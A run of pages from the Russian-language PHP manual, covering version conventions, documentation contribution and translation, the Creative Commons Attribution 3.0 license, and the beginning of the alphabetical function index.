(PHP 4 >= 4.3.0, PHP 5, PHP 7)

Это означает, что функция появилась в официальных версиях языка только с выхода PHP 4.3.0.

User Contributed Notes

There are no user contributed notes for this page.


Версии PHP, документированные в этом руководстве

Данное руководство содержит информацию о прошлых, настоящих и будущих версиях PHP. Изменения поведения документированы замечаниями, историей изменений и непосредственно в тексте самого руководства. Самой ранней документируемой версией PHP является 7.0.0.

Если документация доступна для самой последней (ещё невыпущенной) разрабатываемой версии PHP, она помечается либо как "доступно в Git", либо "разрабатываемая версия". И хотя эти изменения запланированы, в редких случаях они могут измениться.

Вся разработка ведётся в Git и может быть получена способом, описанным на странице » анонимный доступ к Git.

Для ясности, руководство указывает основную, промежуточную и дробную версию релизов PHP. Возьмём для примера версию PHP 7.3.1, 7 является основной версией, 3 является промежуточной, и 1 является дробной версией. Обычно новые возможности в PHP добавляются только в основных и промежуточных версиях, а исправления ошибок - в дробных. Однако, это соглашение не всегда верно.

Также учтите, что руководство по PHP пишется в настоящем, а не в будущем времени, даже для задокументированных, но ещё недоступных возможностей. Это сделано для того, чтобы облегчить испытание временем для данного руководства, таким образом можно избежать рутинных грамматических правок с каждой новой выпущенной версией PHP.

Много раз в руководстве указываются "значения по умолчанию" для различных директив PHP. Эти значения основаны на том, как ведёт себя PHP без конфигурационного файла php.ini, поэтому они могут отличаться от тех, что приведены в распространяемых вместе с PHP файлах php.ini-development и php.ini-production. Они также относятся к последней версии PHP, хотя история изменений упоминает только прошлые значения. За подробной информацией об этих значениях и их истории изменений обращайтесь к приложению со списком PHP директив.

User Contributed Notes

There are no user contributed notes for this page.


Как узнать больше о PHP

Это руководство не пытается охватить вопросы общего программирования. Если вы являетесь новичком или даже начинающим программистом, написание PHP-программ может показаться вам трудным, если вы будете использовать только это руководство. Вам, скорее всего, может понадобиться материал, более подходящий для начинающих.

Существует несколько списков рассылки, предназначенных для обсуждения всех аспектов программирования на PHP. Если вы чувствуете, что не можете найти решение какой-либо проблемы, кто-нибудь из подписчиков списка, вполне вероятно, сможет вам помочь. Все виды поддержки пользователей, в том числе и почтовые списки рассылки, перечислены на » странице поддержки PHP.net.

User Contributed Notes

There are no user contributed notes for this page.


Как помочь в написании документации

Существуют несколько способов помочь нам в улучшении документации.

Если вам встречаются ошибки в этом руководстве, на любом языке, сообщайте о них с помощью системы отслеживания ошибок по адресу » https://github.com/php/doc-ru; об ошибках в руководстве на английском языке следует сообщать по адресу » https://github.com/php/doc-en/issues. Все проблемы с документацией, включая ошибки с различными форматами руководства, должны быть отправлены как сообщение об ошибке.

Замечание:

Пожалуйста, не злоупотребляйте системой отслеживания ошибок для того, чтобы получить какого-либо рода помощь. Вместо этого воспользуйтесь какими-либо » видами поддержки, упомянутыми выше.

Посылая заметки, пользователи могут предоставить различные примеры, предостережения и разъяснения для других читателей. Но, пожалуйста, не используйте систему аннотации для сообщений об ошибках. Более подробные сведения о заметках пользователей вы можете получить, ознакомившись с главой 'О заметках пользователей' этого приложения.

Также можно отправить пулреквесты в » зеркало репозитория документации на GitHub.

Руководство по PHP было переведено на много языков. Знание английского и другого иностранного языка даёт вам ещё один способ улучшить это руководство, работая в команде переводчиков. Если вы собираетесь приступить к переводу, обратитесь к » http://doc.php.net/tutorial/.

Проект документации PHP также имеет IRC канал (чат), где можно найти много авторов данного руководства. Заходите на #php.doc на сайте irc.efnet.org и обсуждайте различные способы улучшить данное руководство.

User Contributed Notes

There are no user contributed notes for this page.


Как создаются форматы документации

Это руководство написано на XML с использованием » DocBook XML DTD, с помощью » PhD (The [PH]P based [D]ocBook renderer, Генератор из формата Docbook на PHP) в целях поддержки и форматирования.

Использование XML в качестве единственного исходного формата позволяет нам создавать документацию во многих форматах, позволяя в то же время редактировать только один исходный документ для всех форматов. Утилитой для форматирования руководства является » PhD. Для создания руководства в формате Windows HTML Help мы используем » Microsoft HTML Help Workshop и, разумеется, сам PHP для дополнительных преобразований и форматирования.

Вы можете загрузить руководство на многих языках и во многих форматах, более подробно смотрите » https://www.php.net/docs.php. Исходный код XML можно загрузить из Git и просмотреть онлайн по адресу » https://github.com/php/doc-ru.

User Contributed Notes

There are no user contributed notes for this page.


Переводы

Руководство по PHP доступно не только в нескольких форматах, но и на различных языках. Сначала текст руководства пишется на английском, а затем команды людей по всему миру переводят его на свой родной язык. Если перевод документации какой-либо функции или главы ещё не был завершён, система сборки руководства использует соответствующий английский вариант.

Люди, осуществляющие перевод документации, начинают с использования исходного кода в формате XML, доступного по адресу » https://github.com/php/doc-ru" и затем переводят его на свой родной язык. Для перевода не используются сгенерированные версии (например, HTML или обычный текст), так как система сборки документации сама заботится о преобразовании XML в читабельные форматы.

Замечание:

Если вы хотите принять участие в переводе документации на ваш родной язык, присоединитесь к команде перевода, подписавшись на список рассылки phpdoc: вышлите пустое сообщение на адрес » phpdoc+subscribe@lists.php.net. Адрес списка рассылки - phpdoc@lists.php.net. Укажите в сообщении, что вы заинтересованы в участии в переводе руководства и кто-нибудь поможет вам начать новый перевод или найти команду, занимающуюся переводом на ваш язык.

В настоящее время руководство доступно, частично или в полной мере, на более чем 10 языках.

Все эти версии руководства доступны для загрузки по адресу » https://www.php.net/docs.php.

User Contributed Notes

There are no user contributed notes for this page.


Creative Commons Attribution 3.0

THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE ("CCPL" OR "LICENSE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED.

BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. TO THE EXTENT THIS LICENSE MAY BE CONSIDERED TO BE A CONTRACT, THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS.

1. Definitions

  1. "Adaptation" means a work based upon the Work, or upon the Work and other pre-existing works, such as a translation, adaptation, derivative work, arrangement of music or other alterations of a literary or artistic work, or phonogram or performance and includes cinematographic adaptations or any other form in which the Work may be recast, transformed, or adapted including in any form recognizably derived from the original, except that a work that constitutes a Collection will not be considered an Adaptation for the purpose of this License. For the avoidance of doubt, where the Work is a musical work, performance or phonogram, the synchronization of the Work in timed-relation with a moving image ("synching") will be considered an Adaptation for the purpose of this License.
  2. "Collection" means a collection of literary or artistic works, such as encyclopedias and anthologies, or performances, phonograms or broadcasts, or other works or subject matter other than works listed in Section 1(f) below, which, by reason of the selection and arrangement of their contents, constitute intellectual creations, in which the Work is included in its entirety in unmodified form along with one or more other contributions, each constituting separate and independent works in themselves, which together are assembled into a collective whole. A work that constitutes a Collection will not be considered an Adaptation (as defined above) for the purposes of this License.
  3. "Distribute" means to make available to the public the original and copies of the Work or Adaptation, as appropriate, through sale or other transfer of ownership.
  4. "Licensor" means the individual, individuals, entity or entities that offer(s) the Work under the terms of this License.
  5. "Work" means the literary and/or artistic work offered under the terms of this License including without limitation any production in the literary, scientific and artistic domain, whatever may be the mode or form of its expression including digital form, such as a book, pamphlet and other writing; a lecture, address, sermon or other work of the same nature; a dramatic or dramatico-musical work; a choreographic work or entertainment in dumb show; a musical composition with or without words; a cinematographic work to which are assimilated works expressed by a process analogous to cinematography; a work of drawing, painting, architecture, sculpture, engraving or lithography; a photographic work to which are assimilated works expressed by a process analogous to photography; a work of applied art; an illustration, map, plan, sketch or three-dimensional work relative to geography, topography, architecture or science; a performance; a broadcast; a phonogram; a compilation of data to the extent it is protected as a copyrightable work; or a work performed by a variety or circus performer to the extent it is not otherwise considered a literary or artistic work.
  6. "You" means an individual or entity exercising rights under this License who has not previously violated the terms of this License with respect to the Work, or who has received express permission from the Licensor to exercise rights under this License despite a previous violation.
  7. "Publicly Perform" means to perform public recitations of the Work and to communicate to the public those public recitations, by any means or process, including by wire or wireless means or public digital performances; to make available to the public Works in such a way that members of the public may access these Works from a place and at a place individually chosen by them; to perform the Work to the public by any means or process and the communication to the public of the performances of the Work, including by public digital performance; to broadcast and rebroadcast the Work by any means including signs, sounds or images.
  8. "Reproduce" means to make copies of the Work by any means including without limitation by sound or visual recordings and the right of fixation and reproducing fixations of the Work, including storage of a protected performance or phonogram in digital form or other electronic medium.

2. Fair Dealing Rights. Nothing in this License is intended to reduce, limit, or restrict any uses free from copyright or rights arising from limitations or exceptions that are provided for in connection with the copyright protection under copyright law or other applicable laws.

3. License Grant. Subject to the terms and conditions of this License, Licensor hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) license to exercise the rights in the Work as stated below:

  1. to Reproduce the Work, to incorporate the Work into one or more Collections, and to Reproduce the Work as incorporated in the Collections;
  2. to create and Reproduce Adaptations provided that any such Adaptation, including any translation in any medium, takes reasonable steps to clearly label, demarcate or otherwise identify that changes were made to the original Work. For example, a translation could be marked "The original work was translated from English to Spanish," or a modification could indicate "The original work has been modified.";
  3. to Distribute and Publicly Perform the Work including as incorporated in Collections; and,
  4. to Distribute and Publicly Perform Adaptations.

  5. For the avoidance of doubt:

    1. Non-waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme cannot be waived, the Licensor reserves the exclusive right to collect such royalties for any exercise by You of the rights granted under this License;
    2. Waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme can be waived, the Licensor waives the exclusive right to collect such royalties for any exercise by You of the rights granted under this License; and,
    3. Voluntary License Schemes. The Licensor waives the right to collect royalties, whether individually or, in the event that the Licensor is a member of a collecting society that administers voluntary licensing schemes, via that society, from any exercise by You of the rights granted under this License.

The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. Subject to Section 8(f), all rights not expressly granted by Licensor are hereby reserved.

4. Restrictions. The license granted in Section 3 above is expressly made subject to and limited by the following restrictions:

  1. You may Distribute or Publicly Perform the Work only under the terms of this License. You must include a copy of, or the Uniform Resource Identifier (URI) for, this License with every copy of the Work You Distribute or Publicly Perform. You may not offer or impose any terms on the Work that restrict the terms of this License or the ability of the recipient of the Work to exercise the rights granted to that recipient under the terms of the License. You may not sublicense the Work. You must keep intact all notices that refer to this License and to the disclaimer of warranties with every copy of the Work You Distribute or Publicly Perform. When You Distribute or Publicly Perform the Work, You may not impose any effective technological measures on the Work that restrict the ability of a recipient of the Work from You to exercise the rights granted to that recipient under the terms of the License. This Section 4(a) applies to the Work as incorporated in a Collection, but this does not require the Collection apart from the Work itself to be made subject to the terms of this License. If You create a Collection, upon notice from any Licensor You must, to the extent practicable, remove from the Collection any credit as required by Section 4(b), as requested. If You create an Adaptation, upon notice from any Licensor You must, to the extent practicable, remove from the Adaptation any credit as required by Section 4(b), as requested.
  2. If You Distribute, or Publicly Perform the Work or any Adaptations or Collections, You must, unless a request has been made pursuant to Section 4(a), keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) the name of the Original Author (or pseudonym, if applicable) if supplied, and/or if the Original Author and/or Licensor designate another party or parties (e.g., a sponsor institute, publishing entity, journal) for attribution ("Attribution Parties") in Licensor's copyright notice, terms of service or by other reasonable means, the name of such party or parties; (ii) the title of the Work if supplied; (iii) to the extent reasonably practicable, the URI, if any, that Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and (iv) , consistent with Section 3(b), in the case of an Adaptation, a credit identifying the use of the Work in the Adaptation (e.g., "French translation of the Work by Original Author," or "Screenplay based on original Work by Original Author"). The credit required by this Section 4 (b) may be implemented in any reasonable manner; provided, however, that in the case of a Adaptation or Collection, at a minimum such credit will appear, if a credit for all contributing authors of the Adaptation or Collection appears, then as part of these credits and in a manner at least as prominent as the credits for the other contributing authors. For the avoidance of doubt, You may only use the credit required by this Section for the purpose of attribution in the manner set out above and, by exercising Your rights under this License, You may not implicitly or explicitly assert or imply any connection with, sponsorship or endorsement by the Original Author, Licensor and/or Attribution Parties, as appropriate, of You or Your use of the Work, without the separate, express prior written permission of the Original Author, Licensor and/or Attribution Parties.
  3. Except as otherwise agreed in writing by the Licensor or as may be otherwise permitted by applicable law, if You Reproduce, Distribute or Publicly Perform the Work either by itself or as part of any Adaptations or Collections, You must not distort, mutilate, modify or take other derogatory action in relation to the Work which would be prejudicial to the Original Author's honor or reputation. Licensor agrees that in those jurisdictions (e.g. Japan), in which any exercise of the right granted in Section 3(b) of this License (the right to make Adaptations) would be deemed to be a distortion, mutilation, modification or other derogatory action prejudicial to the Original Author's honor and reputation, the Licensor will waive or not assert, as appropriate, this Section, to the fullest extent permitted by the applicable national law, to enable You to reasonably exercise Your right under Section 3(b) of this License (right to make Adaptations) but not otherwise.

5. Representations, Warranties and Disclaimer

UNLESS OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN WRITING, LICENSOR OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTIBILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OF IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT APPLY TO YOU.

6. Limitation on Liability. EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE LAW, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

7. Termination.

  1. This License and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this License. Individuals or entities who have received Adaptations or Collections from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this License.
  2. Subject to the above terms and conditions, the license granted here is perpetual (for the duration of the applicable copyright in the Work). Notwithstanding the above, Licensor reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated above.

8. Miscellaneous

  1. Each time You Distribute or Publicly Perform the Work or a Collection, the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License.
  2. Each time You Distribute or Publicly Perform an Adaptation, Licensor offers to the recipient a license to the original Work on the same terms and conditions as the license granted to You under this License.
  3. If any provision of this License is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action by the parties to this agreement, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
  4. No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent
  5. This License constitutes the entire agreement between the parties with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. Licensor shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Licensor and You.
  6. The rights granted under, and the subject matter referenced, in this License were drafted utilizing the terminology of the Berne Convention for the Protection of Literary and Artistic Works (as amended on September 28, 1979), the Rome Convention of 1961, the WIPO Copyright Treaty of 1996, the WIPO Performances and Phonograms Treaty of 1996 and the Universal Copyright Convention (as revised on July 24, 1971). These rights and subject matter take effect in the relevant jurisdiction in which the License terms are sought to be enforced according to the corresponding provisions of the implementation of those treaty provisions in the applicable national law. If the standard suite of rights granted under applicable copyright law includes additional rights not granted under this License, such additional rights are deemed to be included in the License; this License is not intended to restrict the license of any rights under applicable law.

User Contributed Notes

There are no user contributed notes for this page.


Алфавитный список

Содержание

  • Список функций и методов
  • Список примеров

User Contributed Notes

There are no user contributed notes for this page.


Список функций и методов

Список всех функций и методов в руководстве

a b c d e f g h i j k l m n o p q r s t u v w x y z _ ?

  • a
    • abs - Возвращает абсолютную величину (модуль числа)
    • acos - Вычисляет арккосинус
    • acosh - Вычисляет гиперболический арккосинус
    • addcslashes - Экранирует строку слешами в стиле языка C
    • addslashes - Экранирует строку с помощью слешей
    • AllowDynamicProperties::__construct - Создаёт новый экземпляр атрибута AllowDynamicProperties
    • apache_child_terminate - Завершить процесс Apache по окончании текущего запроса
    • apache_getenv - Возвращает переменную окружения подпроцесса сервера Apache
    • apache_get_modules - Возвращает список загруженных модулей сервера Apache
    • apache_get_version - Возвращает версию Apache
    • apache_lookup_uri - Осуществить частичный запрос на указанный URI и вернуть все полученные сведения
    • apache_note - Возвращает и устанавливает уведомления к запросу Apache
    • apache_request_headers - Получает список всех заголовков HTTP-запроса
    • apache_response_headers - Возвращает список всех HTTP-заголовков ответа Apache
    • apache_setenv - Устанавливает переменную subprocess_env Apache
    • APCUIterator::current - Получить текущий элемент
    • APCUIterator::getTotalCount - Получить общее количество записей
    • APCUIterator::getTotalHits - Получить общее количество попаданий в кеш
    • APCUIterator::getTotalSize - Общий размер кеша
    • APCUIterator::key - Получить ключ итератора
    • APCUIterator::next - Перемещает указатель на следующий элемент
    • APCUIterator::rewind - Перемотка итератора
    • APCUIterator::valid - Проверяет, корректна ли текущая позиция итератора
    • APCUIterator::__construct - Создаёт объект итератор класса APCUIterator
    • apcu_add - Добавить переменную в кеш
    • apcu_cache_info - Извлекает закешированную информацию из хранилища APCu
    • apcu_cas - Заменяет старое значение на новое
    • apcu_clear_cache - Очистить кеш APCu
    • apcu_dec - Уменьшить сохранённое число
    • apcu_delete - Удаляет сохранённое значение из кеша
    • apcu_enabled - Возможно ли использовать APCu в текущем окружении
    • apcu_entry - Автоматическое извлечение или создание записи в кеше
    • apcu_exists - Проверяет, существуют ли записи
    • apcu_fetch - Извлекает из кеша сохранённую переменную
    • apcu_inc - Увеличить сохранённое число
    • apcu_key_info - Получить детальную информацию о ключе в кеше
    • apcu_sma_info - Извлекает информацию о выделении разделяемой памяти APCu
    • apcu_store - Кеширует переменную
    • AppendIterator::append - Добавляет итератор
    • AppendIterator::current - Возвращает текущее значение
    • AppendIterator::getArrayIterator - Возвращает класс итератора массива ArrayIterator
    • AppendIterator::getIteratorIndex - Возвращает индекс итератора
    • AppendIterator::key - Возвращает текущий ключ
    • AppendIterator::next - Переходит к следующему элементу
    • AppendIterator::rewind - Перематывает итератор
    • AppendIterator::valid - Проверяет срок действия текущего элемента
    • AppendIterator::__construct - Создаёт AppendIterator
    • array - Создаёт массив
    • ArrayAccess::offsetExists - Определяет, существует ли заданное смещение (ключ)
    • ArrayAccess::offsetGet - Возвращает заданное смещение (ключ)
    • ArrayAccess::offsetSet - Присваивает значение заданному смещению
    • ArrayAccess::offsetUnset - Удаляет смещение
    • ArrayIterator::append - Добавляет элемент
    • ArrayIterator::asort - Сортирует элементы по значениям
    • ArrayIterator::count - Посчитать количество элементов
    • ArrayIterator::current - Возвращает текущий элемент в массиве
    • ArrayIterator::getArrayCopy - Возвращает копию массива
    • ArrayIterator::getFlags - Получает флаги поведения
    • ArrayIterator::key - Возвращает ключ текущего элемента массива
    • ArrayIterator::ksort - Сортирует элементы по ключам
    • ArrayIterator::natcasesort - Сортирует элементы "натурально", с учётом регистра
    • ArrayIterator::natsort - Сортирует записи естественным образом
    • ArrayIterator::next - Перемещает указатель за следующую запись
    • ArrayIterator::offsetExists - Проверяет существует ли смещение
    • ArrayIterator::offsetGet - Получает значение для смещения
    • ArrayIterator::offsetSet - Устанавливает значение для смещения
    • ArrayIterator::offsetUnset - Сбрасывает значение по смещению
    • ArrayIterator::rewind - Перемещает указатель в начало массива
    • ArrayIterator::seek - Перемещает указатель на выбранную позицию
    • ArrayIterator::serialize - Сериализует массив
    • ArrayIterator::setFlags - Устанавливает флаги, изменяющие поведение ArrayIterator
    • ArrayIterator::uasort - Сортировка с помощью заданной пользователем функции и сохранением ключей
    • ArrayIterator::uksort - Сортирует по ключам пользовательской функцией сравнения
    • ArrayIterator::unserialize - Десериализация
    • ArrayIterator::valid - Проверяет, содержит ли массив ещё записи
    • ArrayIterator::__construct - Создаёт ArrayIterator
    • ArrayObject::append - Добавляет значение в конец массива
    • ArrayObject::asort - Сортировать записи по значению
    • ArrayObject::count - Получает количество общедоступных свойств объекта ArrayObject
    • ArrayObject::exchangeArray - Заменяет массив на другой
    • ArrayObject::getArrayCopy - Создаёт копию ArrayObject
    • ArrayObject::getFlags - Получает флаги поведения
    • ArrayObject::getIterator - Создать новый итератор из экземпляра ArrayObject
    • ArrayObject::getIteratorClass - Получает имя класса итератора для ArrayObject
    • ArrayObject::ksort - Сортировать записи по ключам
    • ArrayObject::natcasesort - Сортировать массив, используя регистронезависимый алгоритм "natural order"
    • ArrayObject::natsort - Сортировать массив, используя алгоритм "natural order"
    • ArrayObject::offsetExists - Возвращает, существует ли указанный индекс
    • ArrayObject::offsetGet - Возвращает значение по указанному индексу
    • ArrayObject::offsetSet - Устанавливает новое значение по указанному индексу
    • ArrayObject::offsetUnset - Удаляет значение по указанному индексу
    • ArrayObject::serialize - Сериализовать ArrayObject
    • ArrayObject::setFlags - Устанавливает флаги поведения
    • ArrayObject::setIteratorClass - Устанавливает имя класса итератора для ArrayObject
    • ArrayObject::uasort - Сортировать записи, используя пользовательскую функцию для сравнения элементов и сохраняя при этом связь ключ/значение
    • ArrayObject::uksort - Сортировать массив по ключам, используя пользовательскую функцию для сравнения
    • ArrayObject::unserialize - Десериализовать ArrayObject
    • ArrayObject::__construct - Создаёт новый объект массива
    • array_change_key_case - Меняет регистр всех ключей в массиве
    • array_chunk - Разбивает массив на части
    • array_column - Возвращает массив из значений одного столбца входного массива
    • array_combine - Создаёт новый массив, используя один массив в качестве ключей, а другой для его значений
    • array_count_values - Подсчитывает количество вхождений каждого отдельного значения в массиве
    • array_diff - Вычисляет расхождение массивов
    • array_diff_assoc - Вычисляет расхождение массивов с дополнительной проверкой индекса
    • array_diff_key - Вычисляет расхождение массивов, сравнивая ключи
    • array_diff_uassoc - Вычисляет расхождение массивов с дополнительной проверкой индекса через пользовательскую callback-функцию
    • array_diff_ukey - Вычисляет расхождение массивов, используя callback-функцию для сравнения ключей
    • array_fill - Заполняет массив значениями
    • array_fill_keys - Создаёт массив и заполняет его значениями с определёнными ключами
    • array_filter - Фильтрует элементы массива с помощью callback-функции
    • array_flip - Меняет местами ключи с их значениями в массиве
    • array_intersect - Вычисляет пересечение массивов
    • array_intersect_assoc - Вычисляет пересечение массивов с дополнительной проверкой индекса
    • array_intersect_key - Вычисляет пересечение массивов, сравнивая ключи
    • array_intersect_uassoc - Вычисляет пересечение массивов с дополнительной проверкой индекса, сравнивая индексы через callback-функцию
    • array_intersect_ukey - Вычисляет пересечение массивов, используя callback-функцию для сравнения ключей
    • array_is_list - Проверяет, является ли данный array списком
    • array_keys - Возвращает все или некоторое подмножество ключей массива
    • array_key_exists - Проверяет, существует ли в массиве заданный ключ или индекс
    • array_key_first - Получает первый ключ массива
    • array_key_last - Получает последний ключ массива
    • array_map - Применяет callback-функцию ко всем элементам указанных массивов
    • array_merge - Сливает один или несколько массивов
    • array_merge_recursive - Рекурсивно сливает один или несколько массивов
    • array_multisort - Сортирует несколько массивов или многомерные массивы
    • array_pad - Дополняет массив значением до заданной длины
    • array_pop - Извлекает последний элемент массива
    • array_product - Вычисляет произведение значений массива
    • array_push - Добавляет один или несколько элементов в конец массива
    • array_rand - Выбирает один или несколько случайных ключей из массива
    • array_reduce - Итеративно уменьшает массив к единственному значению, используя callback-функцию
    • array_replace - Заменяет элементы массива элементами других переданных массивов
    • array_replace_recursive - Рекурсивно заменяет элементы первого массива элементами переданных массивов
    • array_reverse - Возвращает массив с элементами в обратном порядке
    • array_search - Ищет значение в массиве и в случае успешного поиска возвращает ключ первого найденного элемента
    • array_shift - Извлекает первый элемент массива
    • array_slice - Выбирает срез массива
    • array_splice - Удаляет часть массива и заменяет её чем-нибудь ещё
    • array_sum - Вычисляет сумму значений массива
    • array_udiff - Вычисляет расхождение массивов, используя для сравнения callback-функцию
    • array_udiff_assoc - Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений callback-функцию
    • array_udiff_uassoc - Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений и индексов callback-функцию
    • array_uintersect - Вычисляет пересечение массивов, используя для сравнения значений callback-функцию
    • array_uintersect_assoc - Вычисляет пересечение массивов с дополнительной проверкой индексов, используя для сравнения значений callback-функцию
    • array_uintersect_uassoc - Вычисляет пересечение массивов с дополнительной проверкой индекса, используя для сравнения индексов и значений отдельные callback-функции
    • array_unique - Убирает повторяющиеся значения из массива
    • array_unshift - Добавляет один или несколько элементов в начало массива
    • array_values - Возвращает все значения массива
    • array_walk - Применяет заданную пользователем функцию к каждому элементу массива
    • array_walk_recursive - Рекурсивно применяет пользовательскую функцию к каждому элементу массива
    • arsort - Сортирует массив в порядке убывания, сохраняя ассоциацию индексов
    • asin - Вычисляет арксинус
    • asinh - Вычисляет гиперболический арксинус
    • asort - Сортирует массив в порядке возрастания, сохраняя ассоциацию индексов
    • assert - Проверяет утверждение
    • assert_options - Установка и получение настроек механизма проверки утверждений
    • atan - Вычисляет арктангенс
    • atan2 - Вычисляет арктангенс двух переменных
    • atanh - Вычисляет гиперболический арктангенс
    • Attribute::__construct - Создаёт новый экземпляр Attribute
  • b
    • BackedEnum::from - Сопоставляет скаляр с экземпляром перечисления
    • BackedEnum::tryFrom - Сопоставляет скаляр с экземпляром перечисления или null
    • base64_decode - Декодирует данные, закодированные MIME base64
    • base64_encode - Кодирует данные в формат MIME base64
    • basename - Возвращает конечный компонент имени пути
    • BaseResult::getWarnings - Получает предупреждения последней операции
    • BaseResult::getWarningsCount - Получает количество предупреждений последней операции
    • base_convert - Преобразовывает числа между произвольными системами счисления
    • bcadd - Сложить 2 числа произвольной точности
    • bccomp - Сравнение двух чисел произвольной точности
    • bcdiv - Операция деления для чисел произвольной точности
    • bcmod - Получает остаток от деления чисел с произвольной точностью
    • bcmul - Умножение двух чисел с произвольной точностью
    • bcpow - Возведение в степень чисел с произвольной точностью
    • bcpowmod - Возводит одно число в степень другого и возвращает остаток от деления результата на третье число
    • bcscale - Устанавливает или получает количество чисел после десятичной точки по умолчанию для всех функций bc math.
    • bcsqrt - Извлекает квадратный корень из числа с заданной точностью
    • bcsub - Вычитает одно число из другого с заданной точностью
    • bin2hex - Преобразовывает двоичные данные в шестнадцатеричное представление
    • bindec - Преобразовывает двоичное число в десятичное
    • bindtextdomain - Устанавливает или получает путь для домена
    • bind_textdomain_codeset - Устанавливает или получает кодировку, в которой будут возвращаться сообщения из каталога сообщений домена
    • boolval - Возвращает логическое значение переменной
    • bzclose - Закрывает файл bzip2
    • bzcompress - Сжимает строку с использованием bzip2
    • bzdecompress - Распаковывает данные, сжатые с использованием bzip2
    • bzerrno - Возвращает код ошибки работы с bzip2
    • bzerror - Возвращает код и строку ошибки работы с bzip2 в виде массива
    • bzerrstr - Возвращает строку ошибки работы с bzip2
    • bzflush - Ничего не делает
    • bzopen - Открывает файл, сжатый с использованием bzip2
    • bzread - Бинарно-безопасное чтение файла bzip2
    • bzwrite - Бинарно-безопасная запись bzip2 файла
  • c
    • CachingIterator::count - Возвращает число элементов в итераторе
    • CachingIterator::current - Возвращает текущий элемент
    • CachingIterator::getCache - Получение содержимого кеша
    • CachingIterator::getFlags - Получает используемые флаги
    • CachingIterator::hasNext - Проверяет, имеет ли внутренний итератор допустимый следующий элемент
    • CachingIterator::key - Возвращает ключ для текущего элемента
    • CachingIterator::next - Перемещает итератор к следующему элементу
    • CachingIterator::offsetExists - Назначение offsetExists
    • CachingIterator::offsetGet - Назначение offsetGet
    • CachingIterator::offsetSet - Назначение offsetSet
    • CachingIterator::offsetUnset - Назначение offsetUnset
    • CachingIterator::rewind - Возвращает итератор в начало
    • CachingIterator::setFlags - Устанавливает флаги для объекта CachingIterator
    • CachingIterator::valid - Проверяет, является ли текущий элемент допустимым
    • CachingIterator::__construct - Создаёт новый объект CachingIterator для итератора
    • CachingIterator::__toString - Возвращает строковое представление текущего элемента
    • CallbackFilterIterator::accept - Вызывает callback-функцию и передаёт ей в качестве аргументов текущее значение, текущий ключ и внутренний указатель
    • CallbackFilterIterator::__construct - Создаёт фильтрующий итератор на основе другого итератора
    • call_user_func - Вызывает callback-функцию, заданную в первом параметре
    • call_user_func_array - Вызывает callback-функцию с массивом параметров
    • cal_days_in_month - Возвращает количество дней в месяце для заданного года и календаря
    • cal_from_jd - Преобразовывает дату, заданную в юлианском календаре, в дату указанного календаря
    • cal_info - Возвращает информацию о заданном календаре
    • cal_to_jd - Преобразовывает заданную дату в юлианскую
    • ceil - Округляет дробное число в бо?льшую сторону
    • chdir - Изменяет каталог
    • checkdate - Проверяет корректность даты по григорианскому календарю
    • checkdnsrr - Проверяет записи DNS, соответствующие переданному имени узла Интернета или IP-адресу
    • chgrp - Изменяет группу файла
    • chmod - Изменяет режим доступа к файлу
    • chop - Псевдоним rtrim
    • chown - Изменяет владельца файла
    • chr - Генерирует односимвольную строку по заданному числу
    • chroot - Изменяет корневой каталог
    • chunk_split - Разбивает строку на фрагменты
    • class_alias - Создаёт псевдоним класса
    • class_exists - Проверяет, объявили ли класс
    • class_implements - Возвращает список интерфейсов, реализованных в заданном классе или интерфейсе
    • class_parents - Возвращает список родительских классов заданного класса
    • class_uses - Возвращает список трейтов, используемых заданным классом
